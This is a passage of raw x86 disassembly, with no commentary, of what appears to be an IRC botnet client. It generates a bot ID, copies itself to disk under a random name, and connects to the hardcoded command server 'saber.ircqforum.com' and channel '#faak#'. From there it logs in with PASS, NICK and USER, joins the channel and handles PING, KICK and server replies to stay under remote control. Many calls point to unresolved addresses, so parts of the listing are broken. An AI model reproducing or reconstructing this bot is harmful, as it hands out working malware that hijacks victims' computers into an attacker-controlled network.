cmp eax, 32h jz short loc_40E506 cmp eax, 35h jz short loc_40E4FC cmp eax, 57h jnz loc_40E5B8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E4B7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E4B7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E4B7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E51A: ; CODE XREF: sub_40E4B7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4B7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj sub eax, 7Ch jz short loc_40E55B sub eax, 7C8h jz short loc_40E554 dec eax jz short loc_40E54A dec eax jnz short loc_40E5B8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40E4B7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E554: ; CODE XREF: sub_40E4B7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: sub_40E4B7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E569: ; CODE XREF: sub_40E4B7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E5A2 jz short loc_40E59B sub eax, 8ADh jz short loc_40E5CD dec eax dec eax jz short loc_40E594 dec eax jz short loc_40E58D dec eax dec eax jnz short loc_40E5B8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E58D: ; CODE XREF: sub_40E4B7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: sub_40E4B7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E4B7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j sub eax, 8CAh jz short loc_40E5D4 sub eax, 17h jz short loc_40E5CD sub eax, 25h jz short loc_40E5C6 sub eax, 29h jz short loc_40E5BF loc_40E5B8: ; CODE XREF: sub_40E4B7+35j ; sub_40E4B7+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j ; sub_40E4B7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5D9: ; CODE XREF: sub_40E4B7+40j ; sub_40E4B7+4Aj ... push offset dword_443CD8 call sub_4172B0 pop ecx mov eax, offset dword_443CD8 pop ecx retn sub_40E4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4199B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 27A0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4199B9 lea eax, [ebp+var_718] push eax call sub_41999C add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43F678 test eax, eax jnz short loc_40E67B mov esi, offset dword_443AD4 push offset dword_42F568 push esi call sub_4172B0 pop ecx pop ecx jmp short loc_40E6A4 ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E4B7 pop ecx mov esi, offset dword_443AD4 push eax push offset dword_42F530 push esi call sub_4172B0 add esp, 14h loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej mov eax, esi pop esi leave retn sub_40E5EB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset sub_40D3A5 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_424058 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_489C50, eax call esi push eax call sub_417302 pop ecx call sub_40981F push 2 call dword_43F714 push 7530h push offset aBotid ; "botid" push ebx push ebx call near ptr 27B03ABh nop push eax call near ptr 2630A88h nop cmp eax, 102h jnz short loc_40E726 push 1 nop call near ptr 77E75CB5h loc_40E726: ; CODE XREF: ___:0040E71Cj lea eax, [ebp-884h] push eax push 202h call dword_43F5E0 cmp eax, ebx mov [ebp-8], eax jnz loc_40EB89 cmp byte ptr [ebp-884h], 2 jnz loc_40EB83 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_40EB83 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 25E04A1h lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 2700E3Fh nop push eax call near ptr 2640000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_4192B8 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-5F4h] push esi push eax call sub_41782A lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_417880 add esp, 1Ch test eax, eax jnz loc_40E98C cmp dword_42F5BC, ebx mov esi, offset byte_42F674 jz short loc_40E824 push esi xor edi, edi call sub_417AB0 sub eax, 4 pop ecx jz short loc_40E824 loc_40E801: ; CODE XREF: ___:0040E822j call sub_41730C push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42F674[edi], dl inc edi call sub_417AB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E801 loc_40E824: ; CODE XREF: ___:0040E7F1j ; ___:0040E7FFj lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 26702C6h cmp eax, 0FFFFFFFFh jz short loc_40E864 lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2751020h loc_40E864: ; CODE XREF: ___:0040E850j mov esi, dword_424160 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_40E87B: ; CODE XREF: ___:0040E8B2j call esi test eax, eax jnz short loc_40E8B4 nop call near ptr 2630B7Ah cmp edi, ebx jnz short loc_40E8B4 cmp eax, 20h jz short loc_40E895 cmp eax, 5 jnz short loc_40E8B4 loc_40E895: ; CODE XREF: ___:0040E88Ej push 1 pop edi push 3A98h call near ptr 25E041Ch nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E8B4: ; CODE XREF: ___:0040E87Fj ; ___:0040E889j ... lea eax, [ebp-1E8h] push eax call sub_40AB7C pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2751020h push 10h lea eax, [ebp-1Ch] push ebx push eax call sub_417330 push 44h lea eax, [ebp-64h] pop esi push esi push ebx push eax call sub_417330 add esp, 18h mov [ebp-64h], esi mov dword ptr [ebp-58h], offset byte_43C80C mov [ebp-34h], bx push 1 pop esi mov [ebp-38h], esi nop call near ptr 27A0E96h push eax push esi push 100000h call near ptr 2700871h nop lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_435140 push eax call sub_4172B0 add esp, 14h lea eax, [ebp-1Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 274060Ah test eax, eax jz short loc_40E98C push 0C8h nop call near ptr 25E041Ch push dword ptr [ebp-1Ch] mov esi, dword_424078 call esi push dword ptr [ebp-18h] call esi call dword_43F5C8 push ebx call near ptr 77E75CB5h nop loc_40E98C: ; CODE XREF: ___:0040E7E0j ; ___:0040E962j cmp dword_48A030, 2 jle short loc_40E9D8 mov eax, dword_48A034 push dword ptr [eax+4] call sub_41781F pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2630A88h push esi call near ptr 2610978h nop mov eax, dword_48A034 cmp [eax+8], ebx jz short loc_40E9D8 push 7D0h call near ptr 25E041Ch nop mov eax, dword_48A034 push dword ptr [eax+8] call near ptr 27A0DD4h nop loc_40E9D8: ; CODE XREF: ___:0040E993j ; ___:0040E9BDj cmp dword_42F5C0, ebx jz short loc_40E9F5 cmp dword_43F738, ebx jnz short loc_40E9F5 lea eax, [ebp-5F4h] push eax call sub_40C1AE pop ecx loc_40E9F5: ; CODE XREF: ___:0040E9DEj ; ___:0040E9E6j lea eax, [ebp-0E4h] push offset dword_435118 push eax call sub_4172B0 push ebx lea eax, [ebp-0E4h] push ebx push eax call sub_416D5C lea eax, [ebp-0E4h] push eax call sub_40BF6D push 0B80h push ebx push offset dword_444340 call sub_417330 call sub_41730C push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_489C5C mov dword_489DD0, ebx call sub_418C10 mov eax, dword_42F5A0 push 3Fh mov edi, offset dword_489CDC push offset aFaak ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh mov esi, offset dword_489D1C push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 48h mov dword_489DB0, ebx loc_40EA83: ; CODE XREF: ___:0040EB29j ; ___:0040EB34j ... mov [ebp-4], ebx loc_40EA86: ; CODE XREF: ___:0040EADDj cmp dword_43F750, ebx jnz short loc_40EAA4 lea eax, [ebp-20h] push ebx push eax call dword_43F5AC test eax, eax jnz short loc_40EAA4 push 7530h jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAA4: ; CODE XREF: ___:0040EA8Cj ; ___:0040EA9Bj push offset dword_489C58 mov dword_489DCC, ebx call sub_40EB92 cmp eax, 2 mov [ebp-8], eax jz loc_40EB7E cmp dword_489DCC, ebx jz short loc_40EACB dec dword ptr [ebp-4] loc_40EACB: ; CODE XREF: ___:0040EAC6j push 0BB8h loc_40EAD0: ; CODE XREF: ___:0040EAA2j nop call near ptr 25E041Ch inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_40EA86 cmp dword ptr [ebp-8], 2 jz loc_40EB7E cmp [ebp-0Ch], ebx jz short loc_40EB2E push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_489C5C call sub_418C10 mov eax, dword_42F5A0 push 3Fh push offset aFaak ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp-0Ch], ebx jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB2E: ; CODE XREF: ___:0040EAECj cmp byte_42F650, bl jz loc_40EA83 push 7Fh push offset byte_42F650 push offset dword_489C5C call sub_418C10 mov eax, dword_42F5A4 push 3Fh push offset aFaak_0 ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_418C10 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB7E: ; CODE XREF: ___:0040EABAj ; ___:0040EAE3j call sub_416F25 loc_40EB83: ; CODE XREF: ___:0040E74Aj ; ___:0040E75Aj call dword_43F5C8 loc_40EB89: ; CODE XREF: ___:0040E73Dj pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp ; DATA XREF: sub_40EE72+3B0Eo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EBB7: ; CODE XREF: sub_40EB92+E6j ; sub_40EB92+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43F668 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ADCA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECE4 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417330 push 0 lea eax, [ebp+var_2C] push dword_489DC0 push dword_42F5CC push eax call sub_415D01 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4450D8 push edi push eax call sub_418C10 add esp, 28h push 6 push 1 push 2 call dword_43F6E8 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4450CC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_40EC7D push esi call dword_43F700 call sub_40ADF3 push 7D0h loc_40EC72: ; CODE XREF: sub_40EB92+146j nop call near ptr 25E041Ch jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40EC7D: ; CODE XREF: sub_40EB92+CDj lea eax, [ebp+var_18C] push eax push offset dword_43514C call sub_40BFE1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECFA add esp, 28h mov edi, eax push esi call dword_43F700 test edi, edi jz loc_40EBB7 cmp edi, 1 jnz short loc_40ECDA push 0DBBA0h jmp short loc_40EC72 ; --------------------------------------------------------------------------- loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj cmp edi, 2 jz short loc_40ECE8 jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj xor eax, eax jmp short loc_40ECF4 ; --------------------------------------------------------------------------- loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj push [ebp+var_34] call sub_417078 pop ecx push 2 pop eax loc_40ECF4: ; CODE XREF: sub_40EB92+154j pop edi pop esi leave retn 4 sub_40EB92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417B30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40ED18: ; CODE XREF: sub_40ECFA+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ED18 cmp byte_489DC8, bl jz short loc_40ED3F push offset byte_489DC8 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D633 add esp, 0Ch loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_40EDA9 push [ebp+arg_0] call dword_43F700 push 1388h nop call near ptr 25E041Ch loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j ; sub_40ECFA+153j xor eax, eax loc_40EDA4: ; CODE XREF: sub_40ECFA+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EDA9: ; CODE XREF: sub_40ECFA+92j ; sub_40ECFA+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43F680 test eax, eax jle short loc_40EDA2 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A868 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EDA9 lea edi, [ebp+var_A10] loc_40EDFA: ; CODE XREF: sub_40ECFA+165j push 1 pop esi loc_40EDFD: ; CODE XREF: sub_40ECFA+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EE72 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE40 push 7D0h call near ptr 25E041Ch nop jmp short loc_40EDFD ; --------------------------------------------------------------------------- loc_40EE40: ; CODE XREF: sub_40ECFA+137j cmp esi, 0FFFFFFFDh jz short loc_40EE6A cmp esi, 0FFFFFFFEh jz short loc_40EE66 cmp esi, 0FFFFFFFFh jz loc_40EDA2 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDFA jmp loc_40EDA9 ; --------------------------------------------------------------------------- loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej push 1 jmp short loc_40EE6C ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ECFA+149j push 2 loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej pop eax jmp loc_40EDA4 sub_40ECFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_417B30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_417330 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_418C10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F239 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_417330 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push offset asc_4387B8 ; " :" push eax call sub_417880 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 mov esi, offset asc_42A3B4 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_418B6E add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF45: ; CODE XREF: sub_40EE72+E7j push esi push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF45 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F239 cmp [ebp+var_90], ebx jz loc_40F239 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF93: ; CODE XREF: sub_40EE72+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EFBF cmp byte ptr [eax], 2Dh jnz short loc_40EFC7 cmp [eax+2], bl jnz short loc_40EFC7 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EFBF: ; CODE XREF: sub_40EE72+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF93 loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj ; sub_40EE72+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFD2 mov [ebp+var_8], edi loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFE0 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFE0: ; CODE XREF: sub_40EE72+166j cmp byte ptr [esi], 0Ah jz short loc_40F01A push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_418C10 lea eax, [ebp+var_D8] push offset asc_4387B4 ; "!" push eax call sub_418B6E add esp, 20h loc_40F01A: ; CODE XREF: sub_40EE72+171j push esi push offset aPing ; "PING" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F06B push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D633 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F10F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h jmp loc_40F10F ; --------------------------------------------------------------------------- loc_40F06B: ; CODE XREF: sub_40EE72+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a005 ; "005" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a302 ; "302" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F0D3 push offset a@ ; "@" push [ebp+var_88] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40F10F inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418C10 jmp short loc_40F10C ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE XREF: sub_40EE72+238j push esi push offset a433 ; "433" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F116 push ebx push dword_489DC0 push dword_42F5CC push [ebp+arg_10] call sub_415D01 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 loc_40F10C: ; CODE XREF: sub_40EE72+25Fj add esp, 0Ch loc_40F10F: ; CODE XREF: sub_40EE72+1D8j ; sub_40EE72+1F4j ... mov eax, edi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_40F116: ; CODE XREF: sub_40EE72+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40F128: ; CODE XREF: sub_40EE72+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F145 mov [ebp+var_AC], 1 loc_40F145: ; CODE XREF: sub_40EE72+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F128 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F241 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40F174: ; CODE XREF: sub_40EE72+392j cmp [esi], bl jz loc_40F1FF push 